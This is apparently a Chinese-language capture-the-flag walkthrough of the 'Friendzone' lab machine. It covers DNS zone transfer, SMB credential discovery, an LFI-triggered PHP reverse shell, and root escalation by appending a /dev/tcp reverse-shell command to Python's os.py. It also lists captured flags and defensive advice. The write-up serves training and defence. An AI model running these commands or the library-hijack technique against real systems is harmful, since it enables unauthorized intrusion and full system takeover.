[Meachines] [Easy] Friendzone LFI+Python-OS库污染权限提升
字数 1278 2025-08-20 18:18:23

Friendzone LFI漏洞利用与Python OS库污染权限提升攻击分析

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行全端口扫描:

nmap -p- 10.10.10.123 --min-rate 1000 -sC -sV

发现开放服务:

  • 21/tcp: vsftpd 3.0.3 (FTP)
  • 22/tcp: OpenSSH 7.6p1 Ubuntu 4
  • 53/tcp: ISC BIND 9.11.3-1ubuntu1.2 (DNS)
  • 80/tcp: Apache httpd 2.4.29
  • 139/tcp: Samba smbd 3.X - 4.X
  • 443/tcp: Apache httpd 2.4.29 (HTTPS)
  • 445/tcp: Samba smbd 4.7.6-Ubuntu

1.2 DNS枚举

执行DNS区域传输:

dig axfr friendzone.red @10.10.10.123

发现子域名:

  • administrator1.friendzone.red
  • hr.friendzone.red
  • uploads.friendzone.red

1.3 SMB枚举

使用enum4linux和smbclient枚举SMB共享:

enum4linux 10.10.10.123
smbclient //10.10.10.123/general

在general共享中发现creds.txt文件,获取凭据:

username: admin
password: WORKWORKHhallelujah@#

2. Web应用渗透

2.1 目录爆破

使用gobuster进行目录扫描:

gobuster dir -u "https://administrator1.friendzone.red" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,php -b 404,403 -t 50 -k

发现关键页面:

  • /login.php
  • /dashboard.php

2.2 登录尝试

使用之前获取的凭据登录:

https://administrator1.friendzone.red/login.php
username: admin
password: WORKWORKHhallelujah@#

2.3 LFI漏洞利用

发现dashboard.php存在本地文件包含(LFI)漏洞:

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/php-reverse-shell

3. 初始访问获取

3.1 上传Web Shell

通过SMB共享上传PHP反向Shell:

smbclient //10.10.10.123/Development
put php-reverse-shell.php

3.2 触发反向Shell

通过LFI漏洞触发上传的PHP反向Shell:

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/php-reverse-shell

4. 权限提升

4.1 内部侦察

获取user.txt标志:

ad2906258fb6679290609a6b243b6078

4.2 进程监控

上传并运行pspy32监控进程:

cp /etc/Development/pspy32 /tmp
chmod +x /tmp/pspy32
/tmp/pspy32

4.3 发现Python脚本

发现/opt/server_admin/reporter.py脚本定期以root权限执行:

# 内容可能包含对os模块的调用

4.4 Python库污染攻击

检查Python库位置:

ls -la /usr/lib/python2.7/os.py

修改os.py注入恶意代码:

echo 'system("/bin/bash -c \"/bin/sh -i >& /dev/tcp/10.10.16.6/10033 0>&1\"")' >> /usr/lib/python2.7/os.py

等待reporter.py以root权限执行,获取root shell。

4.5 获取root标志

253809a3fa48b78d59b7884199f37b35

5. 关键知识点总结

  1. DNS区域传输:通过dig axfr可尝试获取域内所有DNS记录
  2. SMB共享枚举:smbclient和enum4linux是枚举SMB共享的有效工具
  3. LFI漏洞利用:通过文件包含参数可以包含服务器上的任意文件
  4. SMB文件上传:通过SMB共享上传Web Shell是常见的初始访问方法
  5. Python库污染:当Python脚本以root权限运行时,污染其导入的库(如os.py)可实现权限提升
  6. 进程监控:pspy等工具可帮助发现以高权限运行的周期性任务

6. 防御建议

  1. 禁用DNS区域传输
  2. 限制SMB共享的匿名访问
  3. 对文件包含功能实施严格的白名单过滤
  4. 设置Python库文件的不可变标志(chattr +i)
  5. 使用最小权限原则运行计划任务和后台服务
  6. 定期审计系统上的setuid文件和可写目录
Friendzone LFI漏洞利用与Python OS库污染权限提升攻击分析 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行全端口扫描: 发现开放服务: 21/tcp: vsftpd 3.0.3 (FTP) 22/tcp: OpenSSH 7.6p1 Ubuntu 4 53/tcp: ISC BIND 9.11.3-1ubuntu1.2 (DNS) 80/tcp: Apache httpd 2.4.29 139/tcp: Samba smbd 3.X - 4.X 443/tcp: Apache httpd 2.4.29 (HTTPS) 445/tcp: Samba smbd 4.7.6-Ubuntu 1.2 DNS枚举 执行DNS区域传输: 发现子域名: administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red 1.3 SMB枚举 使用enum4linux和smbclient枚举SMB共享: 在general共享中发现creds.txt文件,获取凭据: 2. Web应用渗透 2.1 目录爆破 使用gobuster进行目录扫描: 发现关键页面: /login.php /dashboard.php 2.2 登录尝试 使用之前获取的凭据登录: 2.3 LFI漏洞利用 发现dashboard.php存在本地文件包含(LFI)漏洞: 3. 初始访问获取 3.1 上传Web Shell 通过SMB共享上传PHP反向Shell: 3.2 触发反向Shell 通过LFI漏洞触发上传的PHP反向Shell: 4. 权限提升 4.1 内部侦察 获取user.txt标志: 4.2 进程监控 上传并运行pspy32监控进程: 4.3 发现Python脚本 发现/opt/server_ admin/reporter.py脚本定期以root权限执行: 4.4 Python库污染攻击 检查Python库位置: 修改os.py注入恶意代码: 等待reporter.py以root权限执行,获取root shell。 4.5 获取root标志 5. 关键知识点总结 DNS区域传输 :通过dig axfr可尝试获取域内所有DNS记录 SMB共享枚举 :smbclient和enum4linux是枚举SMB共享的有效工具 LFI漏洞利用 :通过文件包含参数可以包含服务器上的任意文件 SMB文件上传 :通过SMB共享上传Web Shell是常见的初始访问方法 Python库污染 :当Python脚本以root权限运行时,污染其导入的库(如os.py)可实现权限提升 进程监控 :pspy等工具可帮助发现以高权限运行的周期性任务 6. 防御建议 禁用DNS区域传输 限制SMB共享的匿名访问 对文件包含功能实施严格的白名单过滤 设置Python库文件的不可变标志(chattr +i) 使用最小权限原则运行计划任务和后台服务 定期审计系统上的setuid文件和可写目录